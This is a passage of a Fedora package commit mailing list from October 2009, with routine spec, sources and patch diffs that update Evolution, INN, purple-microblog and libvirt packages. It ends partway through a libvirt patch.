Index: gtkhtml3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/F-12/gtkhtml3.spec,v
retrieving revision 1.160
retrieving revision 1.161
diff -u -p -r1.160 -r1.161
--- gtkhtml3.spec	21 Sep 2009 12:19:41 -0000	1.160
+++ gtkhtml3.spec	19 Oct 2009 09:40:28 -0000	1.161
@@ -6,7 +6,7 @@
 ### Abstract ###
 
 Name: gtkhtml3
-Version: 3.28.0
+Version: 3.28.1
 Release: 1%{?dist}
 Group: System Environment/Libraries
 Summary: GtkHTML library
@@ -97,6 +97,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 3.28.1-1.fc12
+- Update to 3.28.1
+
 * Mon Sep 21 2009 Milan Crha <mcrha at redhat.com> - 3.28.0-1.fc12
 - Update to 3.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/F-12/sources,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- sources	21 Sep 2009 12:19:41 -0000	1.103
+++ sources	19 Oct 2009 09:40:28 -0000	1.104
@@ -1 +1 @@
-07bce4da18e99b5c971f0cac6973c944  gtkhtml-3.28.0.tar.bz2
+332bea8d39e1348c0f630a79146de5f6  gtkhtml-3.28.1.tar.bz2



From mcrha at fedoraproject.org  Mon Oct 19 09:45:13 2009
From: mcrha at fedoraproject.org (Milan Crha)
Date: Mon, 19 Oct 2009 09:45:13 +0000 (UTC)
Subject: rpms/evolution-data-server/F-12 .cvsignore, 1.115,
	1.116 evolution-data-server.spec, 1.277, 1.278 sources, 1.115, 1.116
Message-ID: <20091019094513.CFDAE11C00DC@cvs1.fedora.phx.redhat.com>

Author: mcrha

Update of /cvs/pkgs/rpms/evolution-data-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31795

Modified Files:
	.cvsignore evolution-data-server.spec sources 
Log Message:
* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 2.28.1-1.fc12
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-data-server/F-12/.cvsignore,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- .cvsignore	21 Sep 2009 12:25:16 -0000	1.115
+++ .cvsignore	19 Oct 2009 09:45:13 -0000	1.116
@@ -1 +1 @@
-evolution-data-server-2.28.0.tar.bz2
+evolution-data-server-2.28.1.tar.bz2


Index: evolution-data-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-data-server/F-12/evolution-data-server.spec,v
retrieving revision 1.277
retrieving revision 1.278
diff -u -p -r1.277 -r1.278
--- evolution-data-server.spec	21 Sep 2009 12:25:16 -0000	1.277
+++ evolution-data-server.spec	19 Oct 2009 09:45:13 -0000	1.278
@@ -27,7 +27,7 @@
 ### Abstract ###
 
 Name: evolution-data-server
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 Group: System Environment/Libraries
 Summary: Backend data server for Evolution
@@ -361,6 +361,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/libedataserverui
 
 %changelog
+* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 2.28.1-1.fc12
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Milan Crha <mcrha at redhat.com> - 2.28.0-1.fc12
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-data-server/F-12/sources,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- sources	21 Sep 2009 12:25:16 -0000	1.115
+++ sources	19 Oct 2009 09:45:13 -0000	1.116
@@ -1 +1 @@
-015a9692904c349034982c69d90b1b37  evolution-data-server-2.28.0.tar.bz2
+ea516bef48900020c4f137514123e34d  evolution-data-server-2.28.1.tar.bz2



From pkgdb at fedoraproject.org  Mon Oct 19 09:47:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 09:47:20 +0000
Subject: [pkgdb] system-config-samba had acl change status
Message-ID: <20091019094720.1A7F010F85A@bastion2.fedora.phx.redhat.com>

nphilipp has set the watchcommits acl on system-config-samba (Fedora 11) to Approved for scastell

To make changes to this package see:
  /pkgdb/packages/name/system-config-samba



From mcrha at fedoraproject.org  Mon Oct 19 09:52:52 2009
From: mcrha at fedoraproject.org (Milan Crha)
Date: Mon, 19 Oct 2009 09:52:52 +0000 (UTC)
Subject: rpms/evolution/F-12 .cvsignore, 1.122, 1.123 evolution.spec, 1.418, 
	1.419 sources, 1.122,
	1.123 evolution-2.28.0-tweak-desktop-file.patch, 1.1, NONE
Message-ID: <20091019095252.55CD511C00DC@cvs1.fedora.phx.redhat.com>

Author: mcrha

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1315

Modified Files:
	.cvsignore evolution.spec sources 
Removed Files:
	evolution-2.28.0-tweak-desktop-file.patch 
Log Message:
* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 2.28.1-1.fc12
- Update to 2.28.1
- Remove patch 'Tweak desktop file for GNOME Shell' (fixed upstream).



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/.cvsignore,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- .cvsignore	21 Sep 2009 12:33:51 -0000	1.122
+++ .cvsignore	19 Oct 2009 09:52:51 -0000	1.123
@@ -1 +1 @@
-evolution-2.28.0.tar.bz2
+evolution-2.28.1.tar.bz2


Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.418
retrieving revision 1.419
diff -u -p -r1.418 -r1.419
--- evolution.spec	7 Oct 2009 01:48:22 -0000	1.418
+++ evolution.spec	19 Oct 2009 09:52:52 -0000	1.419
@@ -42,8 +42,8 @@
 ### Abstract ###
 
 Name: evolution
-Version: 2.28.0
-Release: 2%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 Group: Applications/Productivity
 Summary: Mail and calendar client for GNOME
 License: GPLv2+ and GFDL
@@ -66,9 +66,6 @@ Patch11: evolution-2.5.4-fix-conduit-dir
 # RH bug #176400
 Patch12: evolution-2.9.1-im-context-reset.patch
 
-# Tweak the desktop file for GNOME Shell.
-Patch13: evolution-2.28.0-tweak-desktop-file.patch
-
 ## Dependencies ###
 
 Requires(post): GConf2
@@ -243,7 +240,6 @@ This package contains the plugin to impo
 %patch10 -p1 -b .ldaphack
 %patch11 -p1 -b .fix-conduit-dir
 %patch12 -p1 -b .im-context-reset
-%patch13 -p1 -b .tweak-desktop-file
 
 mkdir -p krb5-fakeprefix/include
 mkdir -p krb5-fakeprefix/lib
@@ -700,6 +696,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 2.28.1-1.fc12
+- Update to 2.28.1
+- Remove patch 'Tweak desktop file for GNOME Shell' (fixed upstream).
+
 * Tue Oct 02 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.0-2.fc12
 - Tweak desktop file for GNOME Shell.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/sources,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- sources	21 Sep 2009 12:33:52 -0000	1.122
+++ sources	19 Oct 2009 09:52:52 -0000	1.123
@@ -1 +1 @@
-1a8ce4d794b3dea0d086d9809b6ddf0c  evolution-2.28.0.tar.bz2
+15043e64f22000f6f0bf57e0373c7169  evolution-2.28.1.tar.bz2


--- evolution-2.28.0-tweak-desktop-file.patch DELETED ---



From mcrha at fedoraproject.org  Mon Oct 19 09:55:26 2009
From: mcrha at fedoraproject.org (Milan Crha)
Date: Mon, 19 Oct 2009 09:55:26 +0000 (UTC)
Subject: rpms/evolution-exchange/F-12 .cvsignore, 1.50,
	1.51 evolution-exchange.spec, 1.74, 1.75 sources, 1.50, 1.51
Message-ID: <20091019095526.62FB111C00DC@cvs1.fedora.phx.redhat.com>

Author: mcrha

Update of /cvs/pkgs/rpms/evolution-exchange/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1885

Modified Files:
	.cvsignore evolution-exchange.spec sources 
Log Message:
* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 2.28.1-1.fc12
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-exchange/F-12/.cvsignore,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- .cvsignore	21 Sep 2009 12:36:31 -0000	1.50
+++ .cvsignore	19 Oct 2009 09:55:26 -0000	1.51
@@ -1 +1 @@
-evolution-exchange-2.28.0.tar.bz2
+evolution-exchange-2.28.1.tar.bz2


Index: evolution-exchange.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-exchange/F-12/evolution-exchange.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- evolution-exchange.spec	21 Sep 2009 12:36:31 -0000	1.74
+++ evolution-exchange.spec	19 Oct 2009 09:55:26 -0000	1.75
@@ -17,7 +17,7 @@
 ### Abstract ###
 
 Name: evolution-exchange
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 Group: Applications/Productivity
 Summary: Evolution plugin to interact with MS Exchange Server
@@ -121,6 +121,9 @@ gconftool-2 --makefile-install-rule %{_s
 %{_sysconfdir}/gconf/schemas/apps_exchange_addressbook-%{evo_major}.schemas
 
 %changelog
+* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 2.28.1-1.fc12
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Milan Crha <mcrha at redhat.com> - 2.28.0-1.fc12
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-exchange/F-12/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	21 Sep 2009 12:36:31 -0000	1.50
+++ sources	19 Oct 2009 09:55:26 -0000	1.51
@@ -1 +1 @@
-e138476d94edc228a01568118cc7d7c6  evolution-exchange-2.28.0.tar.bz2
+fa8892c4859018b464a33acaf3383e91  evolution-exchange-2.28.1.tar.bz2



From olea at fedoraproject.org  Mon Oct 19 09:59:56 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Mon, 19 Oct 2009 09:59:56 +0000 (UTC)
Subject: rpms/purple-microblog/devel purple-microblog.spec,1.15,1.16
Message-ID: <20091019095956.C440C11C00DC@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-microblog/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3054

Modified Files:
	purple-microblog.spec 
Log Message:
* Mon Oct 19 2009 Ismael Olea <ismael at olea.org> - 0.2.4-3
- removing useless electric-fence BR




Index: purple-microblog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-microblog/devel/purple-microblog.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- purple-microblog.spec	19 Oct 2009 04:10:30 -0000	1.15
+++ purple-microblog.spec	19 Oct 2009 09:59:56 -0000	1.16
@@ -2,7 +2,7 @@
 
 Name:           purple-microblog
 Version:        0.2.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Libpurple plug-in for Pidgin and others, supporting microblog services like Twitter
 
 Group:          Applications/Internet     
@@ -10,7 +10,7 @@ License:        GPLv3+
 URL:            http://code.google.com/p/microblog-purple/
 Source0:        http://microblog-purple.googlecode.com/files/%{upstream_name}-%{version}.tar.gz
 
-BuildRequires:  pidgin-devel >= 2.5, ElectricFence
+BuildRequires:  pidgin-devel >= 2.5
 ExcludeArch:    s390x
 
 %description
@@ -42,6 +42,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/purple/ca-certs/EquifaxSecureGlobaleBusinessCA.pem
 
 %changelog
+* Mon Oct 19 2009 Ismael Olea <ismael at olea.org> - 0.2.4-3
+- removing useless electric-fence BR
+
 * Mon Oct 19 2009 Rahul Sundaram <sundaram at fedoraproject.org> - 0.2.4-2
 - Change the description to be more readable. Fixes rhbz#529558
 - Clean up the spec a bit



From olea at fedoraproject.org  Mon Oct 19 10:01:01 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Mon, 19 Oct 2009 10:01:01 +0000 (UTC)
Subject: rpms/purple-microblog/F-12 purple-microblog.spec,1.15,1.16
Message-ID: <20091019100101.8853C11C00DC@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-microblog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3325

Modified Files:
	purple-microblog.spec 
Log Message:
* Mon Oct 19 2009 Ismael Olea <ismael at olea.org> - 0.2.4-3
- removing useless electric-fence BR




Index: purple-microblog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-microblog/F-12/purple-microblog.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- purple-microblog.spec	19 Oct 2009 04:12:29 -0000	1.15
+++ purple-microblog.spec	19 Oct 2009 10:01:01 -0000	1.16
@@ -2,7 +2,7 @@
 
 Name:           purple-microblog
 Version:        0.2.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Libpurple plug-in for Pidgin and others, supporting microblog services like Twitter
 
 Group:          Applications/Internet     
@@ -10,7 +10,7 @@ License:        GPLv3+
 URL:            http://code.google.com/p/microblog-purple/
 Source0:        http://microblog-purple.googlecode.com/files/%{upstream_name}-%{version}.tar.gz
 
-BuildRequires:  pidgin-devel >= 2.5, ElectricFence
+BuildRequires:  pidgin-devel >= 2.5
 ExcludeArch:    s390x
 
 %description
@@ -42,6 +42,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/purple/ca-certs/EquifaxSecureGlobaleBusinessCA.pem
 
 %changelog
+* Mon Oct 19 2009 Ismael Olea <ismael at olea.org> - 0.2.4-3
+- removing useless electric-fence BR
+
 * Mon Oct 19 2009 Rahul Sundaram <sundaram at fedoraproject.org> - 0.2.4-2
 - Change the description to be more readable. Fixes rhbz#529558
 - Clean up the spec a bit



From npajkovs at fedoraproject.org  Mon Oct 19 10:01:49 2009
From: npajkovs at fedoraproject.org (Nikola Pajkovsky)
Date: Mon, 19 Oct 2009 10:01:49 +0000 (UTC)
Subject: rpms/inn/devel inn.spec,1.69,1.70
Message-ID: <20091019100149.1FD5011C00DC@cvs1.fedora.phx.redhat.com>

Author: npajkovs

Update of /cvs/extras/rpms/inn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3567

Modified Files:
	inn.spec 
Log Message:
New upstream release


Index: inn.spec
===================================================================
RCS file: /cvs/extras/rpms/inn/devel/inn.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- inn.spec	14 Sep 2009 13:03:25 -0000	1.69
+++ inn.spec	19 Oct 2009 10:01:48 -0000	1.70
@@ -1,7 +1,7 @@
 Summary: The InterNetNews system, an Usenet news server
 Name: inn
-Version: 2.5.0
-Release: 5%{?dist}
+Version: 2.5.1
+Release: 1%{?dist}
 #see LICENSE file for details
 License: GPL+ and BSD and MIT and Public Domain
 Group: System Environment/Daemons
@@ -15,15 +15,13 @@ Source8: innd.init
 Source10: inn-faq.tar.gz
 Patch1:  inn-2.4.3.rh.patch
 Patch2: inn-2.4.1.perl.patch
-Patch4: inn-2.4.1.pie.patch
+Patch4: inn-2.5.1.pie.patch
 Patch6: inn-2.4.1.posix.patch
 Patch7: inn-2.4.3.warn.patch
 Patch8: inn-2.4.2-makedbz.patch
-Patch10: inn-2.4.3-nologinshell.patch
+Patch10: inn-2.5.1-nologinshell.patch
 Patch11: inn-2.4.5-dynlib.patch
-Patch12: inn-sasl_encode64nullterm.patch
 Patch13: inn-2.5.0-chown.patch
-Patch14: inn-2.5.0-missing-headers.patch
 BuildRequires: perl-devel python db4-devel byacc krb5-devel pam-devel e2fsprogs-devel
 BuildRequires: perl(ExtUtils::Embed)
 Requires(pre): shadow-utils
@@ -93,9 +91,7 @@ exit 0
 %patch8 -p1 -b .makedbz
 %patch10 -p1 -b .nologin
 %patch11 -p1 -b .dynlib
-%patch12 -p1 -b .nullterm
 %patch13 -p1 -b .chown
-%patch14 -p1 -b .missing-headers
 
 perl -pi -e 's/LOCK_READ/LLOCK_READ/' `find . -type f`
 perl -pi -e 's/LOCK_WRITE/LLOCK_WRITE/' `find . -type f`
@@ -135,11 +131,11 @@ make install DESTDIR=$RPM_BUILD_ROOT
 # -- Install man pages needed by suck et al.
 mkdir -p $RPM_BUILD_ROOT/usr/include/inn
 
-for f in clibrary.h config.h dbz.h
+for f in clibrary.h config.h
 do
     install -c -m 0644 ./include/$f $RPM_BUILD_ROOT/usr/include/inn
 done
-for f in defines.h system.h libinn.h storage.h options.h
+for f in defines.h system.h libinn.h storage.h options.h dbz.h
 do
     install -c -m 0644 ./include/inn/$f $RPM_BUILD_ROOT/usr/include/inn
 done
@@ -326,6 +322,7 @@ exit 0
 %config(noreplace) %{_sysconfdir}/news/ovdb.conf
 %config(noreplace) %{_sysconfdir}/news/newsfeeds
 %config(noreplace) %{_sysconfdir}/news/readers.conf
+%config(noreplace) %{_sysconfdir}/news/distributions
 
 %dir /var/lib/news
 %config(noreplace) /var/lib/news/active.times
@@ -550,6 +547,9 @@ exit 0
 %{_mandir}/man1/inews*
 
 %changelog
+* Tue Oct 13 2009 Jochen Schmitt <Jochen herr-schmitt de> - 2.5.1-1
+- New upstream release
+
 * Mon Sep 14 2009 Nikola Pajkovsky <npajkovs at redhat.com> - 2.5.0-5
 - resolved: 511772 - inn/storage.h not self-contained, missing inn/options.h
 



From npajkovs at fedoraproject.org  Mon Oct 19 10:03:57 2009
From: npajkovs at fedoraproject.org (Nikola Pajkovsky)
Date: Mon, 19 Oct 2009 10:03:57 +0000 (UTC)
Subject: rpms/inn/devel inn-2.5.1-nologinshell.patch, NONE,
	1.1 inn-2.5.1.pie.patch, NONE, 1.1
Message-ID: <20091019100357.DF7A711C00DC@cvs1.fedora.phx.redhat.com>

Author: npajkovs

Update of /cvs/extras/rpms/inn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3894

Added Files:
	inn-2.5.1-nologinshell.patch inn-2.5.1.pie.patch 
Log Message:
forgot add inn-2.5.1-nologinshell.patch inn-2.5.1.pie.patch

inn-2.5.1-nologinshell.patch:
 INSTALL             |    4 ++--
 doc/man/rc.news.8   |    6 +++---
 doc/pod/install.pod |    4 ++--
 doc/pod/rc.news.pod |    6 +++---
 4 files changed, 10 insertions(+), 10 deletions(-)

--- NEW FILE inn-2.5.1-nologinshell.patch ---
diff -up inn-2.5.1/doc/man/rc.news.8.nologin inn-2.5.1/doc/man/rc.news.8
--- inn-2.5.1/doc/man/rc.news.8.nologin	2009-10-12 20:24:04.000000000 +0200
+++ inn-2.5.1/doc/man/rc.news.8	2009-10-13 21:55:50.000000000 +0200
@@ -175,20 +175,20 @@ is recommended to throttle the server fi
 To start \s-1INN\s0 and leave certain error messages going to the terminal:
 .PP
 .Vb 1
-\&       su \- news \-c <pathbin in inn.conf>/rc.news
+\&       su \- news \-c /etc/rc.news
 .Ve
 .PP
 To run \s-1INN\s0 at startup time from appropriate system boot scripts:
 .PP
 .Vb 1
-\&       su \- news \-c <pathbin>/rc.news >/dev/console
+\&       su \- news \-c /etc/rc.news >/dev/console
 .Ve
 .PP
 To stop \s-1INN\s0 (throttling first):
 .PP
 .Vb 2
 \&       <pathbin>/ctlinnd throttle reason
-\&       su \- news \-c \*(Aq<pathbin>/rc.news stop\*(Aq
+\&       su \- news \-c \*(Aq/etc/rc.news stop\*(Aq
 .Ve
 .SH "BUGS"
 .IX Header "BUGS"
diff -up inn-2.5.1/doc/pod/install.pod.nologin inn-2.5.1/doc/pod/install.pod
--- inn-2.5.1/doc/pod/install.pod.nologin	2009-10-12 20:24:04.000000000 +0200
+++ inn-2.5.1/doc/pod/install.pod	2009-10-13 21:53:35.000000000 +0200
@@ -1551,7 +1551,7 @@ INN is started via the shell script B<rc
 news user and not as root.  To start INN on system boot, you therefore
 want to put something like:
 
-    su news -c <pathbin in inn.conf>/rc.news
+    su -m news -c /etc/rc.news
 
 in the system boot scripts.  If B<innd> is stopped or killed, you can restart
 it by running B<rc.news> by hand as the news user.
@@ -1559,7 +1559,7 @@ it by running B<rc.news> by hand as the 
 The B<rc.news> script may also be used to shut down INN, with the C<stop>
 option:
 
-    su news -c '<pathbin in inn.conf>/rc.news stop'
+    su -m news -c '/etc/rc.news stop'
 
 In the F<contrib> directory of this source tree is a sample init script
 for people using System V-style init.d directories.
diff -up inn-2.5.1/doc/pod/rc.news.pod.nologin inn-2.5.1/doc/pod/rc.news.pod
--- inn-2.5.1/doc/pod/rc.news.pod.nologin	2009-10-12 20:24:04.000000000 +0200
+++ inn-2.5.1/doc/pod/rc.news.pod	2009-10-13 21:53:35.000000000 +0200
@@ -63,16 +63,16 @@ is recommended to throttle the server fi
 
 To start INN and leave certain error messages going to the terminal:
 
-       su - news -c <pathbin in inn.conf>/rc.news
+       su -m news -c /etc/rc.news
 
 To run INN at startup time from appropriate system boot scripts:
 
-       su - news -c <pathbin>/rc.news >/dev/console
+       su -m news -c /etc/rc.news >/dev/console
 
 To stop INN (throttling first):
 
        <pathbin>/ctlinnd throttle reason
-       su - news -c '<pathbin>/rc.news stop'
+       su -m news -c '/etc/rc.news stop'
 
 =head1 BUGS
 
diff -up inn-2.5.1/INSTALL.nologin inn-2.5.1/INSTALL
--- inn-2.5.1/INSTALL.nologin	2009-10-12 20:24:04.000000000 +0200
+++ inn-2.5.1/INSTALL	2009-10-13 21:53:35.000000000 +0200
@@ -1511,7 +1511,7 @@ Starting and Stopping the System
     news user and not as root.  To start INN on system boot, you therefore
     want to put something like:
 
-        su news -c <pathbin in inn.conf>/rc.news
+        su -m news -c /etc/rc.news
 
     in the system boot scripts.  If innd is stopped or killed, you can
     restart it by running rc.news by hand as the news user.
@@ -1519,7 +1519,7 @@ Starting and Stopping the System
     The rc.news script may also be used to shut down INN, with the "stop"
     option:
 
-        su news -c '<pathbin in inn.conf>/rc.news stop'
+        su -m news -c '/etc/rc.news stop'
 
     In the contrib directory of this source tree is a sample init script for
     people using System V-style init.d directories.

inn-2.5.1.pie.patch:
 frontends/Makefile |    2 +-
 innd/Makefile      |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE inn-2.5.1.pie.patch ---
diff -up inn-2.5.1/frontends/Makefile.pie inn-2.5.1/frontends/Makefile
--- inn-2.5.1/frontends/Makefile.pie	2009-10-12 20:24:04.000000000 +0200
+++ inn-2.5.1/frontends/Makefile	2009-10-13 21:51:38.000000000 +0200
@@ -85,7 +85,7 @@ ovdb_init:	ovdb_init.o    $(BOTH)   ; $(
 ovdb_monitor:	ovdb_monitor.o $(BOTH)   ; $(LINK) ovdb_monitor.o $(STORELIBS)
 ovdb_server:	ovdb_server.o  $(BOTH)   ; $(LINK) ovdb_server.o  $(STORELIBS)
 ovdb_stat:	ovdb_stat.o    $(BOTH)   ; $(LINK) ovdb_stat.o    $(STORELIBS)
-rnews:		rnews.o        $(LIBINN) ; $(LINK) rnews.o        $(STORELIBS)
+rnews:		rnews.o        $(LIBINN) ; $(LINK) rnews.o        -pie $(STORELIBS)
 sm:		sm.o           $(BOTH)   ; $(LINK) sm.o           $(STORELIBS)
 
 ovdb_init.o: ovdb_init.c
diff -up inn-2.5.1/innd/Makefile.pie inn-2.5.1/innd/Makefile
--- inn-2.5.1/innd/Makefile.pie	2009-10-12 20:24:04.000000000 +0200
+++ inn-2.5.1/innd/Makefile	2009-10-13 21:53:11.000000000 +0200
@@ -44,7 +44,7 @@ perl.o:		perl.c   ; $(CC) $(CFLAGS) $(PE
 python.o:	python.c ; $(CC) $(CFLAGS) $(PYTHON_CPPFLAGS) -c python.c
 
 innd: $(OBJECTS) $(LIBSTORAGE) $(LIBHIST) $(LIBINN)
-	$(LIBLD) $(LDFLAGS) -o $@ $(OBJECTS) $(INNDLIBS)
+	$(LIBLD) -pie $(LDFLAGS) -o $@ $(OBJECTS) $(INNDLIBS)
 
 tinyleaf: tinyleaf.o $(LIBINN)
 	$(LIBLD) $(LDFLAGS) -o $@ tinyleaf.o $(LIBINN) $(LIBS)



From npajkovs at fedoraproject.org  Mon Oct 19 10:12:57 2009
From: npajkovs at fedoraproject.org (Nikola Pajkovsky)
Date: Mon, 19 Oct 2009 10:12:57 +0000 (UTC)
Subject: rpms/inn/devel .cvsignore,1.15,1.16 sources,1.17,1.18
Message-ID: <20091019101257.0F2BC11C00DC@cvs1.fedora.phx.redhat.com>

Author: npajkovs

Update of /cvs/extras/rpms/inn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6269

Modified Files:
	.cvsignore sources 
Log Message:
forgot commit sources


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/inn/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	9 Jun 2009 14:10:41 -0000	1.15
+++ .cvsignore	19 Oct 2009 10:12:56 -0000	1.16
@@ -1,2 +1 @@
 inn-faq.tar.gz
-inn-2.5.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/inn/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	24 Jun 2009 08:37:25 -0000	1.17
+++ sources	19 Oct 2009 10:12:56 -0000	1.18
@@ -1,2 +1,2 @@
-be60e463b2c21286eca45e994df307b2  inn-2.5.0.tar.gz
-d1c337e9f7f44b73d18931bdeecffa1e  inn-faq.tar.gz
+e0b99d07392723b2ac2390856f7e44e5  inn-2.5.1.tar.gz
+6c0a3600167940e6c0f5771ede22648b  inn-faq.tar.gz



From markmc at fedoraproject.org  Mon Oct 19 10:14:07 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon, 19 Oct 2009 10:14:07 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-network-delay-attribute-formatting.patch, 
	NONE, 1.1 libvirt-qemu-machine-type-fixes1.patch, NONE,
	1.1 libvirt-qemu-machine-type-fixes2.patch, NONE,
	1.1 libvirt-storage-iscsi-auth-xml-formatting.patch, NONE,
	1.1 libvirt.spec, 1.191, 1.192
Message-ID: <20091019101407.D9DCD11C00DC@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7002

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-network-delay-attribute-formatting.patch 
	libvirt-qemu-machine-type-fixes1.patch 
	libvirt-qemu-machine-type-fixes2.patch 
	libvirt-storage-iscsi-auth-xml-formatting.patch 
Log Message:
* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-13
- Misc fixes to qemu machine types handling
- A couple of XML formatting fixes


libvirt-network-delay-attribute-formatting.patch:
 network_conf.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-network-delay-attribute-formatting.patch ---
>From ba3bc9b22a21b8e9e110166c98be70e2ad6469cb Mon Sep 17 00:00:00 2001
From: Cole Robinson <crobinso at redhat.com>
Date: Tue, 13 Oct 2009 11:31:27 -0400
Subject: [PATCH] network: Fix printing XML 'delay' attribute

When specifying bridge delay via network XML define, we were looking for
the 'delay' attribute, but would dump the value as 'forwardDelay'. Have
the output match the expected input (and schema).

(cherry picked from commit 3b13aa3db37bf5a692bccfa015a01999043e797b)

Fedora-patch: libvirt-network-delay-attribute-formatting.patch
---
 src/network_conf.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/network_conf.c b/src/network_conf.c
index 3764bb4..f75c457 100644
--- a/src/network_conf.c
+++ b/src/network_conf.c
@@ -587,7 +587,7 @@ char *virNetworkDefFormat(virConnectPtr conn,
     virBufferAddLit(&buf, "  <bridge");
     if (def->bridge)
         virBufferEscapeString(&buf, " name='%s'", def->bridge);
-    virBufferVSprintf(&buf, " stp='%s' forwardDelay='%ld' />\n",
+    virBufferVSprintf(&buf, " stp='%s' delay='%ld' />\n",
                       def->stp ? "on" : "off",
                       def->delay);
 
-- 
1.6.2.5


libvirt-qemu-machine-type-fixes1.patch:
 src/capabilities.c                                       |   31 ++++++++++++---
 src/capabilities.h                                       |    3 -
 src/domain_conf.c                                        |    3 -
 src/xm_internal.c                                        |    3 -
 tests/qemuxml2argvdata/qemuxml2argv-machine-aliases2.xml |    5 --
 5 files changed, 34 insertions(+), 11 deletions(-)

--- NEW FILE libvirt-qemu-machine-type-fixes1.patch ---
>From d7722ed1cb04aa8a7b9fbf880882841867b69ab0 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Mon, 12 Oct 2009 10:52:13 +0100
Subject: [PATCH] Take domain type into account when looking up default machine

If one has e.g.

  <guest>
    <os_type>hvm</os_type>
    <arch name='x86_64'>
      <wordsize>64</wordsize>
      <emulator>/usr/bin/qemu-system-x86_64</emulator>
      <machine>pc-0.11</machine>
      <machine canonical='pc-0.11'>pc</machine>
      <machine>pc-0.10</machine>
      <machine>isapc</machine>
      <domain type='qemu'>
      </domain>
      <domain type='kvm'>
        <emulator>/usr/bin/kvm</emulator>
        <machine>pc</machine>
        <machine>isapc</machine>
      </domain>
    </arch>
